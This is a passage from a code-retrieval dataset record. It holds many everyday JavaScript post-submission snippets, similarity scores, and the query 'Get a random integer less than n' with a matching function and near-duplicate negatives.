title, or workout\n if (!sequenceInput.val().trim() || !exerciseInput.val().trim() || !setsInput.val().trim() || !weightInput.val().trim() || !repsInput.val().trim() || !tempoInput.val().trim() || !restInput.val().trim() || !workoutselect.val()) {\n return;\n }\n // Constructing a newPost object to hand to the database\n var newPost = {\n section: sectionInput\n .val()\n .trim(),\n sequence: sequenceInput\n .val()\n .trim(),\n exercise: exerciseInput\n .val()\n .trim(),\n sets: setsInput\n .val()\n .trim(),\n weight: weightInput\n .val()\n .trim(),\n reps: repsInput\n .val()\n .trim(),\n tempo: tempoInput\n .val()\n .trim(),\n rest: restInput\n .val()\n .trim(),\n workoutId: workoutselect.val()\n };\n\n // If we're updating a post run updatePost to update a post\n // Otherwise run submitPost to create a whole new post\n if (updating) {\n newPost.id = postId;\n updatePost(newPost);\n } else {\n submitPost(newPost);\n }\n }", "function submitClick() {\n\tinsertUser(uname.value, umail.value, uphone.value);\n\tuname.value=\"\"; umail.value=\"\"; uphone.value=\"\";\n}", "async handleNewPostSubmit(event, text) {\n event.preventDefault();\n\n const path = '/home/posts/create';\n const userID = this.state.user._id;\n const requestBody = {userID, text};\n\n try {\n let res = await this.makeRequest(path, 'POST', requestBody);\n \n // add new post to state's user.posts array\n const postData = await res.json();\n if (postData) {\n console.log(postData.message);\n let userObject = this.state.user;\n userObject.posts.push({\n _id: postData._id,\n text: postData.text,\n created: postData.created\n });\n this.setState({user: userObject});\n }\n } catch (err) {\n console.log('Error: ' + err);\n }\n }", "handleSubmit(event){\n event.preventDefault();\n if (this.state.data.text === '' || this.state.data.title === '') {\n Alert.warning('Please enter a valid post', {\n position: 'top-right',\n effect: 'scale',\n beep: false,\n timeout: 5000,\n offset: 60\n });\n } else {\n let data = this.state.data;\n this.props.addPost({url , data});\n\n // Increment the user's post count\n data = this.props.user.data;\n data.userPosts++;\n this.props.editUserData({data});\n\n this.setState({\n selectedTrackShowing: 'none',\n data:{}\n });\n\n // Clear the forms\n this.refs.postContent.reset();\n this.refs.searchContent.reset();\n }\n }", "async function savePost(req) {\n\t// Create a new post record to be stored in the database\n\tconst post_obj = {\n\t\tid: req.body.id,\n\t\tcreated: req.body.created,\n\t\tedited: req.body.edited,\n title: req.body.title,\n body: req.body.body,\n tags: req.body.tags,\n\t\tedits: req.body.edits,\n\t\tpublished: req.body.published,\n\t\tpublishedVersion: req.body.publishedVersion,\n\t\tcanComment: req.body.canComment,\n\t\tcomments: req.body.comments,\n\t\tarchived: req.body.archived\n\t};\n let result = await datastore.save({\n\t\tkey: datastore.key(['post', post_obj.id]),\n\t\tdata: post_obj,\n\t});\n\treturn result;\n}", "function createPost(postData) {\n const div = document.createElement('div');\n const h2 = document.createElement('h2');\n const p = document.createElement('p');\n const btn = document.createElement('button');\n\n btn.textContent = 'Delete Post';\n // On click, it should delete the item from the database\n // Then remove the item from the DOM on success\n btn.addEventListener('click', () => {\n // Pessimistic rendering, don't delete unless the post\n // was actually deleted from the DB\n fetch(`${url}/${postData.id}`, { method: 'DELETE' })\n .then(res => res.json())\n .then(() => {\n // We can access the div because it's available one level up\n // in the scope chain\n div.remove();\n })\n });\n\n h2.textContent = postData.title;\n p.textContent = postData.text;\n div.append(h2, p, btn);\n\n const postsSection = document.querySelector('.posts');\n\n postsSection.append(div);\n}", "function addNewPost(e) {\n e.preventDefault();\n $titlePost = $('.new-post-title');\n $titlePostValue = $titlePost.val();\n $contentPost = $('.comment-text');\n $contentPostValue = $contentPost.val();\n $formContainer = $('.add-post-container');\n $test = $('.add-post');\n\n if ($contentPostValue.length > 163) {\n $dom = newPostDomWithShowMoreBtn($titlePostValue, $contentPostValue);\n \n } else {\n $dom = newPostDom($titlePostValue, $contentPostValue);\n }\n\n if ($titlePostValue != 0 && $contentPostValue != 0) {\n $test.before($dom);\n $addpostconrainer = $('.add-post-container').css('display', 'none');\n\n $titlePost.val('');\n $contentPost.val('');\n }\n }", "function handleFormSubmit(event) {\n event.preventDefault();\n // Wont submit the post if we are missing a body, title, or author\n if (!nameInput.val().trim() || !emailInput.val().trim()) {\n return;\n }\n // Constructing a newPost object to hand to the database\n var newPost = {\n email: emailInput\n .val()\n .trim(),\n name: nameInput\n .val()\n .trim(),\n //AuthorId: authorSelect.val()\n };\nconsole.log('4');\n // If we're updating a post run updatePost to update a post\n // Otherwise run submitPost to create a whole new post\n if (updating) {\n newCustomer.id = customerId;\n updateCustomer(newCustomer);\n }\n else {\n submitCustomer(newCustomer);\n }\n }", "function addPost(post) {\n return PostsModel.create(post);\n}", "function post() {\n currentUid = null;\n}", "addPost(userId, content, tags=undefined) {\n userId = this.esc(userId); content = this.esc(content); tags.map(tag=>{return this.esc(tag)}); // escape arguments\n\n const entityId = this.GUID();\n let sql = [\n `INSERT INTO entity (entityId, timePosted, userId)\n VALUES ('${entityId}', CURRENT_TIMESTAMP, '${userId}')`,\n `INSERT INTO post (entityId, content)\n VALUES ('${entityId}', '${content}')`\n ];\n tags.forEach(tag => {\n sql.push(`INSERT INTO entity_tag (entityId, tagName)\n VALUES ('${entityId}', '${tag}')`);\n });\n return Promise.all(sql.map(qur => {return this.query(qur)}));\n }", "function showPrepopulatedPost(data){\n // console.log(data);\n $(\".header-post\").html(\"Edit Post\");\n $(\"#new-post\").removeAttr(\"action method enctype\");\n $(\"input#title\" ).val(data.title);\n $(\"input#title\").attr(\"disabled\",true);\n $(\"input#title\").removeAttr(\"required\");\n $(\"#body\").val(data.body);\n $(\"#category\").val(data.CategoryId);\n $(\"input#pic\").remove();\n \n $(\"#new-post\").on(\"submit\", function handleEdit(event) {\n event.preventDefault();\n if (!$(\"#body\").val().trim() || !$(\"#category\").val().trim()) {\n return;\n }\n var newPost = {\n body: $(\"#body\").val().trim(),\n category: $(\"#category\").val().trim()\n }\n updatePost(newPost);\n });\n \n // Update a given post, bring user to the updated post when done\n function updatePost(post) {\n $.ajax({\n method: \"PUT\",\n url: \"/api/posts/\"+postId,\n data: post\n })\n .then(function() {\n window.location.href = \"/view-post?post_id=\"+postId;\n });\n }\n }", "function handlePostDelete() {\n\n var currentId = $(this).attr(\"entryID\");\n\n deletePost(currentId);\n }", "function insert() {\n\t$(\"#descr\").val(\"\");\n\t$(\"#videourl\").val(\"\");\n\t$(\"#controls\").val(\"0\");\n\t$(\"#question\").val(\"\");\n\t$(\"#info\").val(\"\");\n\t$(\"#submit\").val(\"Create\");\n\t$(\"#action\").val(\"2\");\n $(\"#accordion\").accordion({ collapsible: true, active: false });\n\t$(\"#videoinfo\").overlay().load();\n\ttoControls($(\"#controls\").val());\n}", "handleSubmit(e){\n e.preventDefault();\n \n const note = {\n title: this.state.title,\n body: this.state.body\n };\n\n /* database.push() is the function used to add to the firebase database. */\n database.push(note);\n\n /* Clears the current input fields after submission. */\n this.setState({\n title:'',\n body:'' \n });\n }", "submit(data) {\n const { title, description, tags } = data;\n Issues.update(this.props.issue._id, { title, description, tags }, undefined, this.insertCallback);\n }", "handleSubmit(event) {\n this.setState({readonly: true});\n // Save the Post to the database\n var database = firebase.database();\n firebase.database().ref('values/' + this.props.id).set({\n name: this.state.name,\n description: this.state.description\n });\n // Get a reference to the database service\n event.preventDefault();\n }", "function insertRecipe(event){\n event.preventDefault();\n var newRecipe = {\n name: $recipeName.val().trim(),\n description: $descriptions.val().trim(),\n ingredients: $ingredients.val().trim(),\n instructions: $instructions.val().trim(),\n CategoryId: $category.val()\n };\n $.post(\"/api/recipes\", newRecipe);\n $recipeName.val(\"\");\n $descriptions.val(\"\");\n $ingredients.val(\"\");\n $instructions.val(\"\");\n $category.val(\"\");\n console.log(\"New Recipe Submitted\");\n }", "async function insertPost(client, database, collection, post) {\n try{\n const result = await client.db(database).collection(collection).insertOne(post);\n } catch (e) {\n console.error(e)\n }\n}", "function batchInsertSubmit(){\n\tif(typeof($('#bInsert').attr('id')) == 'undefined'){\n\t\talertMsg.warn('请添加行!');\n\t}else{\n\t\t$('#bInsert').submit();\n\t}\n}", "function submit(event) {\n let form = document.getElementById(\"post-form\");\n let postTitle = document.getElementById(\"title\");\n let postContent = document.getElementById(\"post\");\n\n if (form.checkValidity()) {\n let dialog = document.getElementById(\"dialog\");\n let date = new Date();\n let formatDate = `${date.getMonth()}/${date.getDate()}/${date.getFullYear()}`;\n\n // Create Post Data to store\n postTitle = cleanInput(postTitle.value);\n postContent = cleanInput(postContent.value);\n let postData = {\n id: `${postTitle}`,\n title: `${postTitle}`,\n date: `${formatDate}`,\n content: `${postContent}`,\n };\n\n let postList = localStorage.getItem(\"postList\");\n postList = JSON.parse(postList);\n if (postList == null) {\n postList = [];\n }\n\n // Create and store new post\n if (event.target.innerHTML == \"Submit\") {\n postList.push(postData);\n makePost(postList[postList.length - 1]);\n localStorage.setItem(\"postList\", JSON.stringify(postList));\n console.log(\"Submit\");\n } else if (event.target.innerHTML == \"Save\") {\n // Editing post will update the post\n updatePost(postData, prevPostIdx);\n console.log(\"Save\");\n }\n dialog.open = false;\n } else {\n form.reportValidity();\n }\n console.log(localStorage.getItem(\"postList\"));\n}", "function postToSource() {\n // clear unnecessary tags when editor view empty\n var sourceStrings = editor.text() == \"\" && editor.html().length < 12 ? \"\" : editor.html();\n var value = extractToText(sourceStrings);\n thisElement.val(value);\n }", "function createPost(userID, topicID, content, callback) {\n pool.getConnection(function(err, connection) {\n if(err) {\n connection.release();\n return callback(err);\n }\n\n connection.query('INSERT INTO `Post` (`userID`, `topicID`, `content`, `postTime`) VALUES (?, ?, ?, NOW());', [userID, topicID, content], function(err, result) {\n if(err) {\n connection.release();\n return callback(err);\n }\n\n // Release the connection\n connection.release();\n\n // Run callback\n callback(null, (result.affectedRows>0));\n });\n });\n}", "function createPostElement(postId, title, text, author, authorId, authorPic) {\n var uid = firebase.auth().currentUser.uid;\n\n var html =\n '<div class=\"post post-' + postId + ' mdl-cell mdl-cell--12-col ' +\n 'mdl-cell--6-col-tablet mdl-cell--4-col-desktop mdl-grid mdl-grid--no-spacing\">' +\n '<div class=\"mdl-card mdl-shadow--2dp\">' +\n '<div class=\"mdl-card__title mdl-color--light-blue-600 mdl-color-text--white\">' +\n '<h4 class=\"mdl-card__title-text\"></h4>' +\n '</div>' +\n '<div class=\"header\">' +\n '<div>' +\n '<div class=\"avatar\"></div>' +\n '<div class=\"username mdl-color-text--black\"></div>' +\n '</div>' +\n '</div>' +\n '<span class=\"star\">' +\n '<div class=\"not-starred material-icons\">star_border</div>' +\n '<div class=\"starred material-icons\">star</div>' +\n '<div class=\"star-count\">0</div>' +\n '</span>' +\n '<div class=\"text\"></div>' +\n '<div class=\"comments-container\"></div>' +\n '<form class=\"add-comment\" action=\"#\">' +\n '<div class=\"mdl-textfield mdl-js-textfield\">' +\n '<input class=\"mdl-textfield__input new-comment\" type=\"text\">' +\n '<label class=\"mdl-textfield__label\">Comment...</label>' +\n '</div>' +\n '</form>' +\n '</div>' +\n '</div>';\n\n // Create the DOM element from the HTML.\n var div = document.createElement('div');\n div.innerHTML = html;\n var postElement = div.firstChild;\n if (componentHandler) {\n componentHandler.upgradeElements(postElement.getElementsByClassName('mdl-textfield')[0]);\n }\n\n var addCommentForm = postElement.getElementsByClassName('add-comment')[0];\n var commentInput = postElement.getElementsByClassName('new-comment')[0];\n var star = postElement.getElementsByClassName('starred')[0];\n var unStar = postElement.getElementsByClassName('not-starred')[0];\n\n // Set values.\n postElement.getElementsByClassName('text')[0].innerText = text;\n postElement.getElementsByClassName('mdl-card__title-text')[0].innerText = title;\n postElement.getElementsByClassName('username')[0].innerText = author || 'Anonymous';\n postElement.getElementsByClassName('avatar')[0].style.backgroundImage = 'url(\"' +\n (authorPic || './silhouette.jpg') + '\")';\n\n // Listen for comments.\n // [START child_event_listener_recycler]\n var commentsRef = firebase.database().ref('post-comments/' + matchId + '/' + postId);\n commentsRef.on('child_added', function(data) {\n addCommentElement(postElement, data.key, data.val().text, data.val().author);\n });\n\n commentsRef.on('child_changed', function(data) {\n setCommentValues(postElement, data.key, data.val().text, data.val().author);\n });\n\n commentsRef.on('child_removed', function(data) {\n deleteComment(postElement, data.key);\n });\n // [END child_event_listener_recycler]\n\n // Listen for likes counts.\n // [START post_value_event_listener]\n var starCountRef = firebase.database().ref('posts/' + matchId + '/' + postId + '/starCount');\n starCountRef.on('value', function(snapshot) {\n updateStarCount(postElement, snapshot.val());\n });\n // [END post_value_event_listener]\n\n // Listen for the starred status.\n var starredStatusRef = firebase.database().ref('posts/' + matchId + '/' + postId + '/stars/' + uid);\n starredStatusRef.on('value', function(snapshot) {\n updateStarredByCurrentUser(postElement, snapshot.val());\n });\n\n // Keep track of all Firebase reference on which we are listening.\n listeningFirebaseRefs.push(commentsRef);\n listeningFirebaseRefs.push(starCountRef);\n listeningFirebaseRefs.push(starredStatusRef);\n\n // Create new comment.\n addCommentForm.onsubmit = function(e) {\n e.preventDefault();\n createNewComment(postId, firebase.auth().currentUser.displayName, uid, commentInput.value);\n commentInput.value = '';\n commentInput.parentElement.MaterialTextfield.boundUpdateClassesHandler();\n };\n\n // Bind starring action.\n var onStarClicked = function() {\n var globalPostRef = firebase.database().ref('/posts/' + matchId + '/' +postId);\n var userPostRef = firebase.database().ref('/user-posts/' +authorId + '/' + matchId + '/' + postId);\n toggleStar(globalPostRef, uid);\n toggleStar(userPostRef, uid);\n };\n unStar.onclick = onStarClicked;\n star.onclick = onStarClicked;\n\n return postElement;\n}", "async savePost({ user, body }, res) {\n console.log(user);\n console.log(body)\n try {\n const newPost = await Post.create({\n author: user.username,\n authorID: user._id,\n title: body.title,\n postText: body.postText,\n image: body.image,\n link: body.link\n })\n const updatedUser = await User.findOneAndUpdate(\n { _id: user._id },\n { $addToSet: { savedPosts: newPost } },\n { new: true, runValidators: true }\n );\n return res.json(newPost);\n } catch (err) {\n console.log(err);\n return res.status(400).json(err);\n }\n }", "function postTweed(req,res){ \ndb.none('INSERT INTO tweeds(tweed) VALUES($1)', [req.body.tweed])\n .then((data) => {\n res.json({\n message: 'ok',\n data: data\n });\n });\n }", "function postComment(inputText, key) {\n var input = {\n text: inputText,\n username: localStorage.getItem('username')\n };\n var ref = \"/thoughts/\" + key +\"/comments/\";\n var newKey = firebase.database().ref(ref).push().key;\n var updates = {};\n updates[ref + newKey] = input;\n firebase.database().ref().update(updates, function (err) {\n if (err) {\n alert('oh no! the database was not updated!');\n }\n $scope.detailWndr(key);\n });\n var commentId = 'comments' + key;\n var commentEls = document.getElementsByClassName(commentId);\n for (i = 0; i < commentEls.length; i++) {\n commentEls[i].innerHTML = 0;\n }\n }", "function formsubmit(e) {\n e.preventDefault();\n firebase\n .firestore()\n .collection(\"times\")\n .add({\n title,\n content,\n votes,\n user: currentUser.uid\n })\n .then(() => {\n setTitle(\"\");\n setContent(\"\");\n });\n }", "handleSubmit(event) {\n event.preventDefault();\n\n // console.log(this.refs.input.value);\n // call Meteor Method //\n // add callback as last argument for error handling //\n Meteor.call('links.insert', this.refs.input.value, (error) => {\n // console.log(error);\n if(error) {\n this.setState({ error: 'Enter a valid URL'});\n } else {\n this.setState({ error: ''});\n //clear input if successful//\n this.refs.input.value = '';\n }\n });\n }", "function handleFormSubmit(event) {\r\n event.preventDefault();\r\n console.log(titleInput.val());\r\n console.log(listInput.val());\r\n console.log(emailInput.val());\r\n console.log(categoryInput.val());\r\n\r\n // Wont submit the post if we are missing a body, title, or author\r\n if (!titleInput.val().trim() || !listInput.val().trim() || !emailInput.val()) {\r\n return;\r\n }\r\n // Constructing a newPost object to hand to the database\r\n var userList = {\r\n title: titleInput\r\n .val()\r\n .trim(),\r\n list: listInput\r\n .val()\r\n .trim(),\r\n emails: emailInput\r\n .val()\r\n .trim(),\r\n category: categoryInput\r\n\r\n .val()\r\n .trim(),\r\n };\r\n\r\n submitPost(userList);\r\n // submitList(userList.list);\r\n // console.log(\"working\");\r\n }", "function createPost(date) {\n // get inputs from form as an object\n const form = $('#postStoryForm');\n const formObject = getFormObjectWithImage(form);\n\n if (formObject.input_image.length > 0 || formObject.story_text.length > 0){\n formObject.story_date = date;\n // compose the story id\n formObject.story_id = formObject.username + formObject.story_date;\n\n const storyInput = JSON.stringify(formObject);\n\n var storyList=JSON.parse(localStorage.getItem('stories'));\n if (storyList==null) storyList=[];\n storyList.push(formObject);\n // store in client-site storage and send ajax request\n localStorage.setItem('stories', JSON.stringify(storyList));\n storeStoryData(formObject);\n ajaxRequest(\"/story_data\", storyInput, \"application/json\", \"POST\");\n\n // clear the area where images are displayed after storing the post\n for (var j=1; j<=3; j++) {\n document.querySelector(\"#uploaded_image\"+(j).toString()).src = \"\";\n document.querySelector(\"#uploaded_image\"+(j).toString()).style.visibility = 'hidden';\n }\n\n // clear the form\n $(\"#story_text\").val('');\n document.querySelector(\"#clear_photos\").style.visibility = 'hidden';\n }\n\n}", "function handleSubmit(event) {\n event.preventDefault();\n\n axios\n .post(\n `http://localhost:3002/posts/create`,\n {\n Country: Country,\n PostTitle: postTitle,\n PostBody: postBody,\n },\n {\n headers: {\n authorization: \"Bearer \" + localStorage.getItem(\"ykToken\"),\n },\n }\n )\n .then((response) => {\n // Adds new post to React state\n setUserPosts((userPosts) => [response.data.post, ...userPosts]);\n\n setIsPostEditBoxVisible(false);\n\n setCountry(\"\");\n setPostTitle(\"\");\n setPostBody(\"\");\n console.log(\"Success creating new post\");\n })\n .catch((e) => {\n console.error(e);\n console.log(\"Something went wrong\");\n });\n }", "function postEntry(req, res) {\n //Check if entry a duplicate by title\n Entry.find({title: req.body.title}, function(err, entries) {\n\n if (entries.length === 0) {\n var reqEntry = new Entry(req.body);\n reqEntry.save(function(err, reqEntry) {\n if (err) {\n console.log(err);\n res.sendStatus(500);\n } else {\n res.sendStatus(200);\n }\n });\n } else {\n res.sendStatus(409);\n }\n });\n}", "function saveUserPost() {\n\tvar savePostBtn = document.getElementById('savePostBtn');\n\tsavePostBtn.style.display = 'none';\n\tvar editPostBtn = document.getElementById('editPostBtn');\n\teditPostBtn.style.display = 'inline-flex';\n\tvar postTitle = document.getElementById('postTitle');\n\tpostTitle.setAttribute('contenteditable', false);\n\tpostTitle.style.border = '0px';\n\tvar postCotent = document.getElementById('postContent');\n\tpostCotent.setAttribute('contenteditable', false);\n\tpostCotent.style.border = '0px';\n}", "async function newPost(req, res) {\n try {\n console.log(req.body);\n const post = await Post.create(req.body.title, req.body.date, req.body.name, req.body.body)\n res.status(201).json(post)\n } catch(err) {\n res.status(422).json({err})\n }\n}", "function postCreate(data){\n $.post(location, data).done(function(_data){\n clearForm();\n updateTableCrate(_data);\n });\n }", "function createPostElement(postId, title, text, tel, author, authorId, authorPic) {\n var uid = firebase.auth().currentUser.uid;\n\n var html =\n \t'<div class=\"card mdl-card\">' +\n '<div class=\"card-body mdl-card__title\">' +\n '<h4 class=\"title card-text\"></h4>' +\n '<p><img class=\"avatar\" style=\"height:32px;width:32px;background-size:32px 32px;border-radius:32px;border: 2px white solid;margin-right:10px;\"><span class=\"username card-subtitle mb-2 text-muted\"></span></p>' +\n '<div class=\"card-text\">☎️: <span class=\"tel card-text\"></span></div>' +\n\t\t\t'<div class=\"text card-text\"></div>' + \n\t\t '</div>' +\n\t\t '<div class=\"card-footer text-muted\">' +\n\t\t \t'<div class=\"comments-container\"></div>' +\n\t\t \t'<form class=\"add-comment\" action=\"#\">' +\n \t '<div class=\"form-group mdl-textfield mdl-js-textfield\">' +\n \t '<input placeholder=\"Commenta...\" aria-label=\"Commenta...\" class=\"form-control input-sm new-comment\" type=\"text\" required>' +\n '</div>' +\n\t\t\t'</form>' +\n\t\t '</div>' + \n '</div>';\n\n // Create the DOM element from the HTML.\n var div = document.createElement('div');\n div.innerHTML = html;\n var postElement = div.firstChild;\n if (componentHandler) {\n componentHandler.upgradeElements(postElement.getElementsByClassName('mdl-textfield')[0]);\n }\n\n var addCommentForm = postElement.getElementsByClassName('add-comment')[0];\n var commentInput = postElement.getElementsByClassName('new-comment')[0];\n\n\n // Set values.\n postElement.getElementsByClassName('text')[0].innerText = text;\n postElement.getElementsByClassName('tel')[0].innerText = tel;\n postElement.getElementsByClassName('title')[0].innerText = title;\n postElement.getElementsByClassName('username')[0].innerText = author || 'Anonymous';\n postElement.getElementsByClassName('avatar')[0].src = (authorPic || './img/silhouette.jpg');\n \n/*\n postElement.getElementsByClassName('avatar')[0].style.backgroundImage = 'url(\"' +\n (authorPic || './img/silhouette.jpg') + '\")';\n*/\n\n // Listen for comments.\n // [START child_event_listener_recycler]\n var commentsRef = firebase.database().ref('post-comments/' + postId);\n commentsRef.on('child_added', function(data) {\n addCommentElement(postElement, data.key, data.val().text, data.val().author);\n });\n\n commentsRef.on('child_changed', function(data) {\n setCommentValues(postElement, data.key, data.val().text, data.val().author);\n });\n\n commentsRef.on('child_removed', function(data) {\n deleteComment(postElement, data.key);\n });\n // [END child_event_listener_recycler]\n\n\n // Keep track of all Firebase reference on which we are listening.\n listeningFirebaseRefs.push(commentsRef);\n\n\n // Create new comment.\n addCommentForm.onsubmit = function(e) {\n e.preventDefault();\n createNewComment(postId, firebase.auth().currentUser.displayName, uid, commentInput.value);\n commentInput.value = '';\n commentInput.parentElement.MaterialTextfield.boundUpdateClassesHandler();\n };\n\n return postElement;\n}", "submit() {\n const { name, image, description, time, servings, tags, ingredients, directions } = this.state;\n const creator = Meteor.user().username;\n Recipes.insert({ name, image, description, time, servings, tags, ingredients, directions, creator }, this.insertCallback);\n }", "function processFlag(post) {\n // get post information and build query string\n let id = post.id;\n let title = post.querySelector(\"h2.title\").textContent;\n let content = post.querySelector(\"p.content\").textContent;\n let queryString = \"id=\" + id +\n \"&title=\" + title +\n \"&content=\" + content;\n\n // insert into database\n let xhttp = new XMLHttpRequest();\n xhttp.open(\"POST\", \"../backend/flag_post.php\", true);\n xhttp.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\n xhttp.send(queryString);\n }", "submit(data, formRef) {\n const { productName, productImage, description, saleType } = data;\n const owner = Meteor.user().username;\n Products.collection.insert({ productName, productImage, description, saleType, owner },\n (error) => {\n if (error) {\n swal('Error', error.message, 'error');\n } else {\n swal('Success', 'Item added successfully', 'success');\n formRef.reset();\n }\n });\n }", "function AddPostBlg(evt) {\n evt.preventDefault();\n let id_category = evt.target.form[0].value\n let id_users = evt.target.form[1].value\n let title_post = evt.target.form[2].value\n let date_post = evt.target.form[3].value\n const url = window.origin + \"/AddPostBlg/\";\n\n\n var entry = {\n id_category:id_category,\n id_users: id_users,\n title_post: title_post,\n date_post: date_post\n }; \n\n fetch(url, {\n method: \"POST\",\n credentials: \"include\",\n body: JSON.stringify(entry),\n cache: \"no-cache\",\n headers: new Headers({\n \"content-type\": \"application/json\"\n })\n })\n .then(function (response) {\n if (response.status !== 200) {\n console.log(`Looks like there was a problem. Status code: ${response.status}`);\n return;\n }\n response.json().then(function (data) {\n evt.target.form[0].value = \"\"\n evt.target.form[1].value = \"\"\n evt.target.form[2].value = \"\"\n evt.target.form[3].value = \"\"\n });\n })\n .catch(function (error) {\n console.log(\"Fetch error: \" + error);\n }); \n}", "createPost(id, timestamp, title, body, author, category) {\n console.log('onCreate', id, timestamp, title, body, author, category);\n Api.addPost(id, timestamp, title, body, author, category).then((post) => {\n // console.log('res ',post);\n this.props.addPost(post);\n }).catch((err) => {\n console.log('error when persisting post: ', err);\n });\n \n }", "function post() {\r\n\t// get the value from each field\r\n\tlet name = document.getElementById('name').value\r\n\tlet subject = document.getElementById('subject').value\r\n\tlet review = document.getElementById('review').value\r\n\r\n\t// creating a new h4 tag with the title \"Name:\" in the index everytime a new submission is made\r\n\tlet newH4 = document.createElement('h4')\r\n\tlet newText = document.createTextNode(\"Name:\" + \" \" + name)\r\n\tnewH4.appendChild(newText)\r\n\tdocument.getElementById('submission').appendChild(newH4)\r\n\r\n\t// creating a new p tag with the title \"Subject:\" in the index everytime a new submission is made\r\n\tlet newP1 = document.createElement('p')\r\n\tnewText = document.createTextNode(\"Subject:\" + \" \" + subject)\r\n\tnewP1.appendChild(newText)\r\n\tdocument.getElementById('submission').appendChild(newP1)\r\n\r\n\t// creating a new p tag with the title \"Review:\" in the index everytime a new submission is made\r\n\tlet newP2 = document.createElement('p')\r\n\tnewText = document.createTextNode(\"Review:\" + \" \" + review)\r\n\tnewP2.appendChild(newText)\r\n\tdocument.getElementById('submission').appendChild(newP2)\r\n\r\n\t// emptying out the field to allow new input\r\n\tdocument.getElementById('name').value = \"\"\r\n\tdocument.getElementById('subject').value = \"\"\r\n\tdocument.getElementById('review').value =\"\"\r\n}", "handleSubmit(val) {\n val.id = uuid()\n val.timestamp = Date.now()\n \n //API.createPost(val).then((res) => console.log(res))\n alert('post entered succesfully')\n window.location.href = \"/\"\n }", "onSubmit(values) {\n // console.log(values); --> {title: \"Chicken Recipe\", categories: \"Food\", content: \"How to cook a chicken\"}\n this.props.createPost(values, () => {\n this.props.history.push('/'); // Go back to the root\n });\n }", "function createPost(post) {\n socket.emit('createPost', { post });\n}", "async function addUserPost(postData, postID) {\n return new Promise((resolve, reject) => {\n resolve(db.execute(`INSERT INTO user_post (userID, postID) VALUES ('${postData.creatorID}', '${postID}');`))\n .catch(() => {\n reject(new Error('user_post table update failure.'));\n });\n });\n}", "async function createNewPost(req, res) {\n\n const user = await User.findOne({_id: req.body.User})\n const userId = user.id;\n const userSuburb = user.Suburb\n\n const newPost = new Post({\n User: userId, \n DidSelfIsolate: req.body.DidSelfIsolate,\n Suburb: userSuburb,\n Claps: 0\n });\n\n try {\n const savedPost = await newPost.save()\n res.json(savedPost);\n } catch (err) {\n res.json({\n message: err\n })\n }\n}" ]
[ "0.6943133", "0.6510186", "0.6506645", "0.6395315", "0.6379262", "0.63106877", "0.6303043", "0.6208591", "0.6204298", "0.60760504", "0.60700125", "0.6056233", "0.59991676", "0.59863317", "0.5946237", "0.5856076", "0.5826098", "0.57843584", "0.5774151", "0.5773466", "0.5772802", "0.57294065", "0.5725571", "0.5724998", "0.57207835", "0.57080567", "0.56915367", "0.56876373", "0.5675535", "0.5667001", "0.56592035", "0.565734", "0.5651711", "0.56426305", "0.5640751", "0.56321543", "0.5625354", "0.56059515", "0.5601261", "0.5594395", "0.5594147", "0.5584109", "0.5575714", "0.5575712", "0.5574053", "0.5570486", "0.5557181", "0.55557126", "0.5539143", "0.5513198", "0.5494737", "0.54843694", "0.5462347", "0.5459812", "0.5451922", "0.5443969", "0.5440585", "0.5439421", "0.54282165", "0.5422447", "0.54121464", "0.5409403", "0.5408976", "0.53879243", "0.5373345", "0.53727275", "0.53636986", "0.5361912", "0.5357158", "0.53480226", "0.5345726", "0.5342271", "0.5342149", "0.5338806", "0.5337309", "0.53347284", "0.53323627", "0.5311304", "0.5307596", "0.53064036", "0.53010046", "0.5300561", "0.53005475", "0.5295727", "0.5291863", "0.52899486", "0.5288205", "0.5285343", "0.5283514", "0.52828187", "0.528075", "0.5271304", "0.527017", "0.52696747", "0.52603704", "0.5258186", "0.52481806", "0.5243593", "0.5237781", "0.52341354" ]
0.6680405
1
Get a random integer less than n.
function randomInteger(n) { return Math.floor(Math.random()*n); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function randomInteger(n) {\n return Math.floor(Math.random()*n);\n}", "function randomInt(n) {\n return Math.floor(Math.random() * n);\n}", "function randomInt(n) {\n return Math.floor(Math.random() * n);\n}", "function randInt(n) {\n return Math.floor(Math.random() * n);\n}", "function randomInt(n){\n return Math.floor(Math.random() * n)\n}", "function randomInteger(n) {\n return Math.floor(Math.random() * (n + 1));\n}", "function randInt(n)\n{\n\treturn Math.floor((Math.random() * n) + 1);\n}", "static randomInt( n ) {\n\n\t\treturn n === 1 ? 0 : Math.floor( n * Math.random() );\n\n\t}", "function random(n) {\n return Math.floor(Math.random()*n);\n}", "function randomNumber(n) {\n return Math.floor(Math.random() * n)\n}", "function random(n) {\n return Math.floor(Math.random() * n)\n}", "function random(n) {\n return Math.floor(n*Math.random());\n}", "function random(n) {\n\treturn Math.floor(n*Math.random());\n}", "function random(n)\n{\n\treturn Math.floor((Math.random()*n)+1);\n}", "function random(n) {\n return Math.floor(Math.random() * n) + 1;\n }", "function generateRandomNum(n) {\n return Math.floor(Math.random() * n)\n}", "function randomInt(n) {\n\tvar x = randomIntMathRandom(n);\n\tx = (x + randomIntBrowserCrypto(n)) % n;\n\treturn x;\n}", "function randN(n) {\n return Math.floor(Math.random() * n) +1\n}", "function random(n) {\n\treturn Math.floor(Math.random() * n + 1)\n}", "function myNumber(n) {\n return Math.floor(Math.random() * n);\n}", "function getRandom(n)\n{\n return Math.floor(Math.random()*n+1)\n}", "function rand ( n ) {\n\treturn ( Math.floor ( Math.random ( ) * n + 1 ) );\n}", "function getRandom(n){ \n return Math.floor(Math.random()*n+1) \n}", "function sc_random(n) {\n return Math.floor(Math.random()*n);\n}", "function randomIntMathRandom(n) {\n\tvar x = Math.floor(Math.random() * n);\n\tif (x < 0 || x >= n)\n\t\tthrow \"Arithmetic exception\";\n\treturn x;\n}", "function randomNumberFun(n){\n return Math.floor(Math.random()*n);\n}", "getRandom(n) {\n return Math.floor(Math.random() * n)\n }", "function R(n) { return Math.floor(n*Math.random()); }", "function randN(n){\r\n\t\treturn Math.random()*n;\r\n\t}", "function random(n) {\n return Math.random() * n;\n}", "function getRandomIntInclusive() {\n return Math.floor(Math.random() * 10) + 1;\n}", "function randomIndex(n) {\n return Math.floor(Math.random() * parseInt(n));\n }", "function randomInt(m, n) {\n return Math.floor(Math.random() * (n - m + 1)) + m;\n }", "function randomInt_1_10(){\n\treturn Math.floor(Math.random()*(10-1))+1;\n}", "function rN(x){\n\t\treturn Math.floor(Math.random()*(x+1))-x\n\t}//-x到x 随机数", "function randNumber () {\n\treturn Math.floor(Math.random() * 10);\n}", "function 